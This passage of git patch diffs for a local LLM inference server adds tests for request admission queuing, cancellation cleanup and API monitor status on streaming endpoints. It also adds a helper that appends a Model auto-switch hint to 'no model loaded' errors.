+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _tools,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, timeout = 1.0)
+
+            assert released.is_set()
+            assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_non_streaming_gguf_n_records_all_monitor_replies(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -4086,6 +4816,270 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_stream_immediate_task_cancel_releases_admission_and_tracker(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_cancel_check(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            cancel_id = "passthrough-stream-immediate-task-cancel"
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_raise_if_openai_admission_cancelled",
+                fake_cancel_check,
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            backend = SimpleNamespace(
+                base_url = "http://llama.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await _openai_passthrough_stream(
+                    self._Request(),
+                    threading.Event(),
+                    backend,
+                    payload,
+                    "gguf",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_queued_cancel_before_inner_first_chunk_runs_cleanup(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            body_holder = {}
+            cleanup_called = threading.Event()
+
+            async def fake_admitted(*_args, admission_lease, tracker, **_kwargs):
+                async def cleanup():
+                    admission_lease.release()
+                    tracker.__exit__(None, None, None)
+                    cleanup_called.set()
+
+                class BlockingBody:
+                    def __init__(self):
+                        self.started = threading.Event()
+                        self.closed = False
+
+                    def __aiter__(self):
+                        return self
+
+                    async def __anext__(self):
+                        self.started.set()
+                        await asyncio.sleep(3600)
+                        raise StopAsyncIteration
+
+                    async def aclose(self):
+                        self.closed = True
+                        await cleanup()
+
+                body = BlockingBody()
+                body_holder["body"] = body
+                return _SameTaskStreamingResponse(
+                    body,
+                    media_type = "text/event-stream",
+                    unstarted_cleanup = cleanup,
+                )
+
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_stream_admitted",
+                fake_admitted,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "queued-inner-unstarted-cleanup"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    effective_parallel_slots = 1,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+                blocker.release()
+                pending = asyncio.create_task(iterator.__anext__())
+                for _ in range(100):
+                    if "body" in body_holder:
+                        break
+                    await asyncio.sleep(0.01)
+                body = body_holder["body"]
+                assert await asyncio.to_thread(body.started.wait, 1.0)
+
+                pending.cancel()
+                with pytest.raises(asyncio.CancelledError):
+                    await asyncio.wait_for(pending, timeout = 1.0)
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            assert body_holder["body"].closed
+            assert cleanup_called.is_set()
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert queue.snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_queued_cancel_after_inner_first_chunk_finalizes_monitor(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_admitted(
+                *_args,
+                monitor_id = None,
+                admission_lease,
+                tracker,
+                **_kwargs,
+            ):
+                async def cleanup():
+                    admission_lease.release()
+                    tracker.__exit__(None, None, None)
+
+                async def body():
+                    try:
+                        yield 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n'
+                        await asyncio.sleep(3600)
+                    except asyncio.CancelledError:
+                        inf_mod.api_monitor.finish(monitor_id, "cancelled")
+                        raise
+                    finally:
+                        await cleanup()
+
+                return _SameTaskStreamingResponse(
+                    body(),
+                    media_type = "text/event-stream",
+                    unstarted_cleanup = cleanup,
+                )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_stream_admitted",
+                fake_admitted,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "queued-inner-cancel-monitor"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    effective_parallel_slots = 1,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+
+                blocker.release()
+                first = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert "hello" in first
+
+                pending = asyncio.create_task(iterator.__anext__())
+                await asyncio.sleep(0)
+                pending.cancel()
+                with pytest.raises(asyncio.CancelledError):
+                    await asyncio.wait_for(pending, timeout = 1.0)
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert queue.snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_passthrough_stream_synthesizes_missing_finish_reason(self, monkeypatch):
         async def _run():
             result = await self._run_passthrough_stream(
@@ -4189,6 +5183,292 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_admitted(*_args, **_kwargs):
+                raise AssertionError("upstream must not start while request is queued")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_openai_passthrough_stream_admitted", fail_admitted)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    effective_parallel_slots = 1,
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_timeout_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start while request is queued")
+
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await _openai_passthrough_non_streaming(
+                        SimpleNamespace(
+                            base_url = "http://llama.test",
+                            effective_parallel_slots = 1,
+                            context_length = 4096,
+                            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                        ),
+                        payload,
+                        "gguf",
+                        request = Request(),
+                        cancel_event = threading.Event(),
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_queue_full_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+                url = SimpleNamespace(path = "/v1/chat/completions")
+
+                async def is_disconnected(self):
+                    return False
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start when admission queue is full")
+
+            monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "1")
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            queue = get_llama_admission_queue("http://llama.test")
+            blocker = queue.reserve(
+                capacity = 1,
+                config = LlamaAdmissionConfig(max_queue = 1),
+            ).lease_nowait()
+            queued = queue.reserve(capacity = 1, config = LlamaAdmissionConfig(max_queue = 1))
+            assert blocker is not None
+            assert queued.lease_nowait() is None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await _openai_passthrough_non_streaming(
+                        SimpleNamespace(
+                            base_url = "http://llama.test",
+                            effective_parallel_slots = 1,
+                            context_length = 4096,
+                            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                        ),
+                        payload,
+                        "gguf",
+                        request = Request(),
+                        cancel_event = threading.Event(),
+                    )
+                assert exc.value.status_code == 429
+            finally:
+                queued.cancel()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_immediate_cancel_stops_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start after client cancellation")
+
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+
+            cancel_event = threading.Event()
+            cancel_event.set()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        effective_parallel_slots = 1,
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    cancel_event = cancel_event,
+                )
+
+            assert exc.value.status_code == 499
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_admission_task_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_wait(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            async def fail_upstream(*_args, **_kwargs):
+                raise AssertionError("upstream must not start after admission task cancel")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_wait_for_openai_admission_non_streaming",
+                fake_wait,
+            )
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming_upstream",
+                fail_upstream,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        effective_parallel_slots = 1,
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    cancel_event = threading.Event(),
+                )
+
+            assert get_llama_admission_queue("http://llama.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_passthrough_non_streaming_cancel_finalizes_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -5381,6 +6661,15 @@ class TestApiMonitorAudioInput:
 class TestResponsesChatTemplateKwargs:
     _messages = [ChatMessage(role = "user", content = "What is 100 - 67?")]
 
+    class _Request:
+        app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/responses")
+        method = "POST"
+
+        async def is_disconnected(self):
+            return False
+
     def test_enable_thinking_lifted_from_extra_body(self):
         payload = ResponsesRequest(
             model = "qwen-local",
@@ -5413,6 +6702,113 @@ class TestResponsesChatTemplateKwargs:
         chat_req = _build_chat_request(payload, self._messages, stream = False)
         assert chat_req.enable_thinking is None
 
+    def test_responses_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_send(*_args, **_kwargs):
+                raise AssertionError("responses upstream must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                base_url = "http://llama.responses.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send)
+
+            queue = get_llama_admission_queue("http://llama.responses.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            monitor_id = monitor.start(
+                endpoint = "/v1/responses",
+                method = "POST",
+                model = "qwen-local",
+                prompt = "hi",
+            )
+            payload = ResponsesRequest(model = "qwen-local", input = "hi", stream = True)
+
+            response = await _responses_stream(
+                payload,
+                [ChatMessage(role = "user", content = "hi")],
+                self._Request(),
+                monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_responses_stream_cancel_after_created_finalizes_monitor_and_slot(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_send(*_args, **_kwargs):
+                raise AssertionError("responses upstream must not start after created cancel")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                base_url = "http://llama.responses.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send)
+            monitor_id = monitor.start(
+                endpoint = "/v1/responses",
+                method = "POST",
+                model = "qwen-local",
+                prompt = "hi",
+            )
+            payload = ResponsesRequest(model = "qwen-local", input = "hi", stream = True)
+
+            response = await _responses_stream(
+                payload,
+                [ChatMessage(role = "user", content = "hi")],
+                self._Request(),
+                monitor_id,
+            )
+            iterator = response.body_iterator
+            first = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            assert "event: response.created" in first
+
+            with pytest.raises(asyncio.CancelledError):
+                await iterator.athrow(asyncio.CancelledError())
+
+            assert get_llama_admission_queue("http://llama.responses.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
 
 # =====================================================================
 # GGUF chat-template role alternation: coalesce orphaned user turns left
diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.py
index 7cfe9bf32c..a833006873 100644
--- a/tests/studio/test_stream_cancel_registration_timing.py
+++ b/tests/studio/test_stream_cancel_registration_timing.py
@@ -17,7 +17,7 @@ from pathlib import Path
 
 
 SOURCE_PATH = Path(__file__).resolve().parents[2] / "studio" / "backend" / "routes" / "inference.py"
-SRC = SOURCE_PATH.read_text()
+SRC = SOURCE_PATH.read_text(encoding = "utf-8")
 _TREE = ast.parse(SRC)
 
 
@@ -166,16 +166,20 @@ def test_chat_completions_streams_avoid_starlette_task_group():
 
 
 def test_openai_passthrough_stream_avoids_starlette_task_group():
-    top = _async_function("_openai_passthrough_stream")
+    functions = [
+        _async_function("_openai_passthrough_stream"),
+        _async_function("_openai_passthrough_stream_admitted"),
+    ]
     legacy_calls = []
     same_task_calls = 0
-    for sub in ast.walk(top):
-        if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
-            continue
-        if sub.func.id == "StreamingResponse":
-            legacy_calls.append(sub.lineno)
-        if sub.func.id == "_SameTaskStreamingResponse":
-            same_task_calls += 1
+    for fn in functions:
+        for sub in ast.walk(fn):
+            if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
+                continue
+            if sub.func.id == "StreamingResponse":
+                legacy_calls.append(sub.lineno)
+            if sub.func.id == "_SameTaskStreamingResponse":
+                same_task_calls += 1
     assert not legacy_calls, (
         "OpenAI passthrough streams must use _SameTaskStreamingResponse, "
         "not Starlette's legacy task-group StreamingResponse. Lines: "
@@ -197,7 +201,7 @@ def test_direct_llama_server_streams_install_disconnect_watcher():
         "openai_completions",
         "_responses_stream",
         "_anthropic_passthrough_stream",
-        "_openai_passthrough_stream",
+        "_openai_passthrough_stream_admitted",
     }
     missing = [
         name

From 7bfa209623415e8ed71d739a80bcd12d3ccf74c3 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Fri, 10 Jul 2026 17:48:27 -0300
Subject: [PATCH 299/306] Studio: hint at Model auto-switch in the OpenAI "No
 model loaded" 400 (#7006)

---
 studio/backend/routes/inference.py            | 29 +++++++---
 .../backend/tests/test_openai_auto_switch.py  | 57 +++++++++++++++++++
 2 files changed, 79 insertions(+), 7 deletions(-)

diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index db350240ac..ec5d309810 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -3344,6 +3344,21 @@ def _automatic_model_load_may_run() -> bool:
     return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0
 
 
+def _no_model_loaded_detail(base: str) -> str:
+    """Append a pointer to the opt-in auto-switch toggle to a "no model loaded"
+    error, but only when it's off. Auto-switch (default off) cold-loads a
+    requested downloaded GGUF, so an off toggle is the usual reason a request
+    naming a listed model still 400/503s; surface the fix. With it on the name
+    simply didn't resolve to a local GGUF, so the hint would mislead and is omitted."""
+    from utils.openai_auto_switch_settings import get_openai_auto_switch_enabled
+
+    if get_openai_auto_switch_enabled():
+        return base
+    return base + (
+        " Or enable Model auto-switch (Settings > API) to load a requested model automatically."
+    )
+
+
 async def _maybe_auto_switch_model(
     requested_model: Optional[str],
     fastapi_request: Request,
@@ -6451,7 +6466,7 @@ async def openai_chat_completions(
         if not backend.active_model_name:
             raise HTTPException(
                 status_code = 400,
-                detail = "No model loaded. Call POST /inference/load first.",
+                detail = _no_model_loaded_detail("No model loaded. Call POST /inference/load first."),
             )
         # Clean public id so the response never echoes a local path; the audio
         # branch below receives this sanitized label too.
@@ -9184,7 +9199,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
     if not isinstance(body, dict):
         # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
@@ -9400,7 +9415,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
     if not isinstance(body, dict):
         # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
@@ -10140,7 +10155,7 @@ async def _responses_stream(
         # so the client sees a useful error instead of a dangling stream.
         raise HTTPException(
             status_code = 400,
-            detail = (
+            detail = _no_model_loaded_detail(
                 "Streaming /v1/responses requires a GGUF model loaded via "
                 "llama-server. Use non-streaming /v1/responses, "
                 "/v1/chat/completions, or load a GGUF model."
@@ -11379,7 +11394,7 @@ async def anthropic_count_tokens(
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # Same Anthropic → OpenAI translation as anthropic_messages: system is
@@ -11452,7 +11467,7 @@ async def anthropic_messages(
     if not llama_backend.is_loaded and not _automatic_model_load_may_run():
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # max_tokens is a required field on the Anthropic Messages API; real Anthropic
@@ -11503,7 +11518,7 @@ async def anthropic_messages(
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # Advertised repo id after an auto-switch load, else a clean public id, never
diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py
index 7d2e2213b3..d02a2a4f7e 100644
--- a/studio/backend/tests/test_openai_auto_switch.py
+++ b/studio/backend/tests/test_openai_auto_switch.py
@@ -3037,3 +3037,60 @@ def test_acquire_swap_gate_is_cancellation_safe():
         inference_route._auto_switch_process_lock.release()
 
     asyncio.run(asyncio.wait_for(main(), timeout = 5))
+
+
+def test_no_model_loaded_detail_appends_hint_only_when_off(monkeypatch):
+    # The "no model loaded" errors point at the opt-in auto-switch toggle so a
+    # request naming a listed-but-unloaded model is self-explanatory -- but only
+    # when it's off. With it on the name simply didn't resolve, so no hint.
+    base = "No GGUF model loaded. Load a GGUF model first."
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    off = inference_route._no_model_loaded_detail(base)
+    assert off.startswith(base)
+    assert "Model auto-switch" in off and "Settings > API" in off
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    assert inference_route._no_model_loaded_detail(base) == base
+
+
+def _run_responses_stream_no_model(monkeypatch, *, enabled, active_model_name):
+    # Drive _responses_stream's GGUF-not-loaded guard: llama backend unloaded,
+    # inference backend maybe holding a non-GGUF model. Returns the 400 detail.
+    from fastapi import HTTPException
+    from models.inference import ResponsesRequest, ChatMessage
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled)
+    monkeypatch.setattr(
+        inference_route, "get_llama_cpp_backend", lambda: _FakeBackend(loaded_id = None)
+    )
+    monkeypatch.setattr(
+        inference_route,
+        "get_inference_backend",
+        lambda: type("_B", (), {"active_model_name": active_model_name})(),
+    )
+    payload = ResponsesRequest(model = "unsloth/Qwen3.5-4B-GGUF", stream = True)
+    messages = [ChatMessage(role = "user", content = "hi")]
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route._responses_stream(payload, messages, None))
+    assert exc.value.status_code == 400
+    return exc.value.detail
+
+
+def test_responses_stream_hint_matches_toggle_regardless_of_active_model(monkeypatch):
+    # Streaming /v1/responses shares the GGUF-only 400 with the other "no model
+    # loaded" sites, so the auto-switch hint attaches whenever the toggle is
+    # off -- including while a non-GGUF model is active, since auto-switch
+    # evicts it to load a resolved GGUF (_maybe_auto_switch_model's resolver
+    # branch has no active-model guard, unlike its reload-stash branch). Only
+    # the toggle being on suppresses it.
+    hinted = _run_responses_stream_no_model(monkeypatch, enabled = False, active_model_name = None)
+    assert "Model auto-switch" in hinted
+
+    on = _run_responses_stream_no_model(monkeypatch, enabled = True, active_model_name = None)
+    assert "Model auto-switch" not in on
+
+    non_gguf_loaded = _run_responses_stream_no_model(
+        monkeypatch, enabled = False, active_model_name = "unsloth/Llama-3.2-1B-Instruct"
+    )
+    assert "Model auto-switch" in non_gguf_loaded

From d105bd7b42ea8d4ecdb3e3364abb605b558c017e Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Fri, 10 Jul 2026 17:59:04 -0300
Subject: [PATCH 300/306] Studio: detect Windows Intel GPUs via the registry
 before WMI (#7064)

---
